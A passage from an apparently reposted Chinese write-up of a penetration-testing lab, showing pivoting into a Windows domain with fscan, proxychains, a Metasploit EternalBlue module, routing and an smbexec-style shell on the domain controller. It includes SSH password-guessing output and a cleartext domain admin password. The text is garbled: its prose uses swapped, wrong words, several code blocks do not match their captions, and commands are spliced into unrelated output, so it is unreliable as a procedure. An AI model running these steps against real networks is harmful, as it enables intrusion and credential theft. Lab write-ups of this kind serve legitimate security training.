  28.   224.0.0.22            01-00-5e-00-00-16     static   
  29.   224.0.0.252           01-00-5e-00-00-fc     static    已完成 14/15 [-] ssh 192.168.93.10:22 root pass@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 14/15 [-] ssh 192.168.93.10:22 root 1 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 14/15 [-] ssh 192.168.93.10:22 root root111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 14/15 [-] ssh 192.168.93.10:22 root root@2019 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 14/15 [-] ssh 192.168.93.10:22 root 12345678 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 14/15 [-] ssh 192.168.93.10:22 root 123456789 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 15/15
  30. [*] 扫描竣事,耗时: 7m15.055664472s
复制代码
很多都是我们之前分析出来的信息,但是得到了两条非常有代价的信息:
域内的两台靶机都存在永恒之蓝毛病。
八、再回永恒之蓝

优先测试 192.168.93.30(域控),老样子利用(由于之前报告过利用方法,下面讲授会稍显大略)。
创建署理:
  1. proxychains ssh -i target root@192.168.52.20
复制代码
留意换个端口。
将 MSF 的全局署理换一个:
  1. proxychains ssh -i target root@192.168.52.20 -vvv
复制代码
如许一来,MSF 就能直通域环境了。
但是,实行多次都没有乐成,换 192.168.93.40,直接得到 meterpreter:
  1. debug1: send_pubkey_test: no mutual signature algorithm
复制代码
创建一个域内网路由:
  1. msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30 autoroute -s 192.168.93.0/24[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.[!] Example: msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30 post/multi/manage/autoroute OPTION=value [...]
  2. [*] Adding a route to 192.168.93.0/255.255.255.0...[+] Added route to 192.168.93.0/255.255.255.0 via 192.168.93.40
  3. [*] Use the -p option to list all active routes
复制代码
搜集根据后,得到的照旧自己的呆板账户的信息:
  1. root@ubuntu:~# ip addr
  2. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
  3.     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  4.     inet 127.0.0.1/8 scope host lo
  5.        valid_lft forever preferred_lft forever
  6.     inet6 ::1/128 scope host
  7.        valid_lft forever preferred_lft forever
  8. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
  9.     link/ether 00:50:56:b1:7e:66 brd ff:ff:ff:ff:ff:ff
  10.     inet 192.168.52.20/24 brd 192.168.52.255 scope global eth0
  11.        valid_lft forever preferred_lft forever
  12.     inet6 fe80::250:56ff:feb1:7e66/64 scope link
  13.        valid_lft forever preferred_lft forever
  14. 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
  15.     link/ether 00:50:56:b1:4a:b8 brd ff:ff:ff:ff:ff:ff
  16.     inet 192.168.93.10/24 brd 192.168.93.255 scope global eth1
  17.        valid_lft forever preferred_lft forever
  18.     inet6 fe80::250:56ff:feb1:4ab8/64 scope link
  19.        valid_lft forever preferred_lft forever
  20. 4: br-1d665e13ee58: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
  21.     link/ether 02:42:a8:01:1e:34 brd ff:ff:ff:ff:ff:ff
  22.     inet 172.20.0.1/16 brd 172.20.255.255 scope global br-1d665e13ee58
  23.        valid_lft forever preferred_lft forever
  24. 5: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
  25.     link/ether 02:42:29:fc:b3:bf brd ff:ff:ff:ff:ff:ff
  26.     inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
  27.        valid_lft forever preferred_lft forever
  28.     inet6 fe80::42:29ff:fefc:b3bf/64 scope link
  29.        valid_lft forever preferred_lft forever
  30. 6: br-f0d07941b332: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
  31.     link/ether 02:42:08:d3:ed:3c brd ff:ff:ff:ff:ff:ff
  32.     inet 172.19.0.1/16 brd 172.19.255.255 scope global br-f0d07941b332
  33.        valid_lft forever preferred_lft forever
  34. 7: br-05384b1b0df2: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
  35.     link/ether 02:42:77:1a:64:7a brd ff:ff:ff:ff:ff:ff
  36.     inet 172.18.0.1/16 brd 172.18.255.255 scope global br-05384b1b0df2
  37.        valid_lft forever preferred_lft forever
  38. 9: vetha18b54f@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
  39.     link/ether ba:51:d0:c7:b2:be brd ff:ff:ff:ff:ff:ff
  40.     inet6 fe80::b851:d0ff:fec7:b2be/64 scope link
  41.        valid_lft forever preferred_lft forever
复制代码
非常奇怪。
  1. root@ubuntu:~# ip route show
  2. default via 192.168.52.2 dev eth0
  3. 169.254.0.0/16 dev eth1  scope link  metric 1000
  4. 172.17.0.0/16 dev docker0  proto kernel  scope link  src 172.17.0.1
  5. 172.18.0.0/16 dev br-05384b1b0df2  proto kernel  scope link  src 172.18.0.1
  6. 172.19.0.0/16 dev br-f0d07941b332  proto kernel  scope link  src 172.19.0.1
  7. 172.20.0.0/16 dev br-1d665e13ee58  proto kernel  scope link  src 172.20.0.1
  8. 192.168.52.0/24 dev eth0  proto kernel  scope link  src 192.168.52.20
  9. 192.168.93.0/24 dev eth1  proto kernel  scope link  src 192.168.93.10
复制代码
得到的仍旧是 MsCacheV2 的信息。
九、检察 WP

检察官方 WP:
  1. root@ubuntu:~# iptables -L -v -n 2>/dev/null
  2. Chain INPUT (policy ACCEPT 2829 packets, 279K bytes)
  3. pkts bytes target     prot opt in     out     source               destination         
  4. Chain FORWARD (policy DROP 0 packets, 0 bytes)
  5. pkts bytes target     prot opt in     out     source               destination         
  6. 6009   13M DOCKER-USER  all  --  *      *       0.0.0.0/0            0.0.0.0/0           
  7. 6009   13M DOCKER-ISOLATION-STAGE-1  all  --  *      *       0.0.0.0/0            0.0.0.0/0           
  8. 2591 7215K ACCEPT     all  --  *      docker0  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED
  9.   179 10740 DOCKER     all  --  *      docker0  0.0.0.0/0            0.0.0.0/0           
  10. 3239 6271K ACCEPT     all  --  docker0 !docker0  0.0.0.0/0            0.0.0.0/0           
  11.     0     0 ACCEPT     all  --  docker0 docker0  0.0.0.0/0            0.0.0.0/0           
  12.     0     0 ACCEPT     all  --  *      br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED
  13.     0     0 DOCKER     all  --  *      br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0           
  14.     0     0 ACCEPT     all  --  br-05384b1b0df2 !br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0           
  15.     0     0 ACCEPT     all  --  br-05384b1b0df2 br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0           
  16.     0     0 ACCEPT     all  --  *      br-f0d07941b332  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED
  17.     0     0 DOCKER     all  --  *      br-f0d07941b332  0.0.0.0/0            0.0.0.0/0           
  18.     0     0 ACCEPT     all  --  br-f0d07941b332 !br-f0d07941b332  0.0.0.0/0            0.0.0.0/0           
  19.     0     0 ACCEPT     all  --  br-f0d07941b332 br-f0d07941b332  0.0.0.0/0            0.0.0.0/0           
  20.     0     0 ACCEPT     all  --  *      br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED
  21.     0     0 DOCKER     all  --  *      br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0           
  22.     0     0 ACCEPT     all  --  br-1d665e13ee58 !br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0           
  23.     0     0 ACCEPT     all  --  br-1d665e13ee58 br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0           
  24. Chain OUTPUT (policy ACCEPT 2050 packets, 181K bytes)
  25. pkts bytes target     prot opt in     out     source               destination         
  26. Chain DOCKER (4 references)
  27. pkts bytes target     prot opt in     out     source               destination         
  28.   179 10740 ACCEPT     tcp  --  !docker0 docker0  0.0.0.0/0            172.17.0.2           tcp dpt:80
  29. Chain DOCKER-ISOLATION-STAGE-1 (1 references)
  30. pkts bytes target     prot opt in     out     source               destination         
  31. 3239 6271K DOCKER-ISOLATION-STAGE-2  all  --  docker0 !docker0  0.0.0.0/0            0.0.0.0/0           
  32.     0     0 DOCKER-ISOLATION-STAGE-2  all  --  br-05384b1b0df2 !br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0           
  33.     0     0 DOCKER-ISOLATION-STAGE-2  all  --  br-f0d07941b332 !br-f0d07941b332  0.0.0.0/0            0.0.0.0/0           
  34.     0     0 DOCKER-ISOLATION-STAGE-2  all  --  br-1d665e13ee58 !br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0           
  35. 6009   13M RETURN     all  --  *      *       0.0.0.0/0            0.0.0.0/0           
  36. Chain DOCKER-ISOLATION-STAGE-2 (4 references)
  37. pkts bytes target     prot opt in     out     source               destination         
  38.     0     0 DROP       all  --  *      docker0  0.0.0.0/0            0.0.0.0/0           
  39.     0     0 DROP       all  --  *      br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0           
  40.     0     0 DROP       all  --  *      br-f0d07941b332  0.0.0.0/0            0.0.0.0/0           
  41.     0     0 DROP       all  --  *      br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0           
  42. 3239 6271K RETURN     all  --  *      *       0.0.0.0/0            0.0.0.0/0           
  43. Chain DOCKER-USER (1 references)
  44. pkts bytes target     prot opt in     out     source               destination         
  45. 6009   13M RETURN     all  --  *      *       0.0.0.0/0            0.0.0.0/0           
  46. root@ubuntu:~# ufw status 2>/dev/null
  47. Status: inactive
  48. root@ubuntu:~# nft list ruleset 2>/dev/null
  49. root@ubuntu:~#
复制代码
直接在 192.168.52.30 上通过抓根据直接抓到了域管的明文暗码(Whoami2021)……
好吧,应该是靶场环境的标题(已反馈给棉花糖)
不外打靶场的兴趣恰恰在此。
十、登入域控拿到 Flag

那么,我们“冒充”我们找到了域管的明文暗码,直接实行登入:
  1. proxychains scp -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -i target /usr/local/bin/fscan root@192.168.52.20:/tmp/
复制代码
失败了,大概是有防火墙,我们可以通过已有 session 外加暗码直接关闭域控的防火墙:
  1. root@ubuntu:/tmp# ./fscan -h 192.168.93.0/24
  2.    ___                              _   
  3.   / _ \     ___  ___ _ __ __ _  ___| | __
  4. / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
  5. / /_\\_____\__ \ (__| | | (_| | (__|   <   
  6. \____/     |___/\___|_|  \__,_|\___|_|\_\   
  7.                      fscan version: 1.8.4
  8. start infoscan
  9. (icmp) Target 192.168.93.10   is alive
  10. (icmp) Target 192.168.93.20   is alive
  11. (icmp) Target 192.168.93.30   is alive
  12. (icmp) Target 192.168.93.40   is alive
  13. [*] Icmp alive hosts len is: 4
  14. 192.168.93.10:8000 open
  15. 192.168.93.30:88 open
  16. 192.168.93.20:8080 open
  17. 192.168.93.20:1081 open
  18. 192.168.93.20:1080 open
  19. 192.168.93.40:445 open
  20. 192.168.93.30:445 open
  21. 192.168.93.20:445 open
  22. 192.168.93.40:139 open
  23. 192.168.93.30:139 open
  24. 192.168.93.20:139 open
  25. 192.168.93.40:135 open
  26. 192.168.93.30:135 open
  27. 192.168.93.20:135 open
  28. 192.168.93.10:22 open
  29. [*] alive ports len is: 15
  30. start vulscan
  31. [*] NetInfo
  32. [*]192.168.93.30
  33.    [->]DC
  34.    [->]192.168.93.30
  35. [+] MS17-010 192.168.93.30      (Windows Server 2012 R2 Datacenter 9600)                                                                     
  36. [+] MS17-010 192.168.93.40      (Windows 7 Professional 7601 Service Pack 1)                                                                  
  37. [*] NetBios 192.168.93.30   [+] DC:DC.whoamianony.org            Windows Server 2012 R2 Datacenter 9600
  38. [+] MS17-010 192.168.93.20      (Windows 7 Professional 7601 Service Pack 1)                                                                  
  39. [*] NetBios 192.168.93.40   PC2.whoamianony.org                 Windows 7 Professional 7601 Service Pack 1
  40. [*] WebTitle http://192.168.93.20:8080 code:200 len:10065  title:通达OA网络智能办公系统
  41. [+] InfoScan http://192.168.93.20:8080 [通达OA]
  42. [*] WebTitle http://192.168.93.10:8000 code:200 len:17474  title:Laravel
  43. [+] InfoScan http://192.168.93.10:8000 [Laravel]
  44. [+] PocScan http://192.168.93.20:8080 tongda-user-session-disclosure   
  45. [+] PocScan http://192.168.93.10:8000 poc-yaml-laravel-cve-2021-3129   
  46. 已完成 14/15 [-] ssh 192.168.93.10:22 root pass@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  47. 已完成 14/15 [-] ssh 192.168.93.10:22 root 1 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  48. 已完成 14/15 [-] ssh 192.168.93.10:22 root root111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  49. 已完成 14/15 [-] ssh 192.168.93.10:22 root root@2019 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  50. 已完成 14/15 [-] ssh 192.168.93.10:22 root 12345678 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  51. 已完成 14/15 [-] ssh 192.168.93.10:22 root 123456789 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
  52. 已完成 15/15
  53. [*] 扫描结束,耗时: 7m15.055664472s
复制代码
完成之后,再次实行:
  1. proxychains scp -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -i target /usr/local/bin/fscan root@192.168.52.20:/tmp/[proxychains] config file found: /etc/proxychains4.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.17[proxychains] DLL init: proxychains-ng 4.17[proxychains] DLL init: proxychains-ng 4.17Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [proxychains] Strict chain  ...  127.0.0.1:1090  ...  192.168.93.30:445  ...  OK
  2. [*] Requesting shares on 192.168.93.30.....
  3. [*] Found writable share ADMIN$
  4. [*] Uploading file XDDSTHvz.exe
  5. [*] Opening SVCManager on 192.168.93.30.....
  6. [*] Creating service fqAv on 192.168.93.30.....
  7. [*] Starting service fqAv.....[proxychains] Strict chain  ...  127.0.0.1:1090  ...  192.168.93.30:445  ...  OK[proxychains] Strict chain  ...  127.0.0.1:1090  ...  192.168.93.30:445  ...  OK[!] Press help for extra shell commands[proxychains] Strict chain  ...  127.0.0.1:1090  ...  192.168.93.30:445  ...  OK[-] Decoding error detected, consider msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30ning chcp.com at the target,map the result with https://docs.python.org/3/library/codecs.html#standard-encodingsand then execute smbexec.py again with -codec and the corresponding codecMicrosoft Windows [�汾 6.3.9600][-] Decoding error detected, consider msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30ning chcp.com at the target,map the result with https://docs.python.org/3/library/codecs.html#standard-encodingsand then execute smbexec.py again with -codec and the corresponding codec(c) 2013 Microsoft Corporation����������Ȩ����C:\Windows\system32>
复制代码
乐成,反面就是找 flag,读取 flag 的变乱了,这里不再赘述。

免责声明:如果侵犯了您的权益,请联系站长及时删除侵权内容,谢谢合作!qidao123.com:ToB企服之家,中国第一个企服评测及软件市场,开放入驻,技术点评得现金.

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表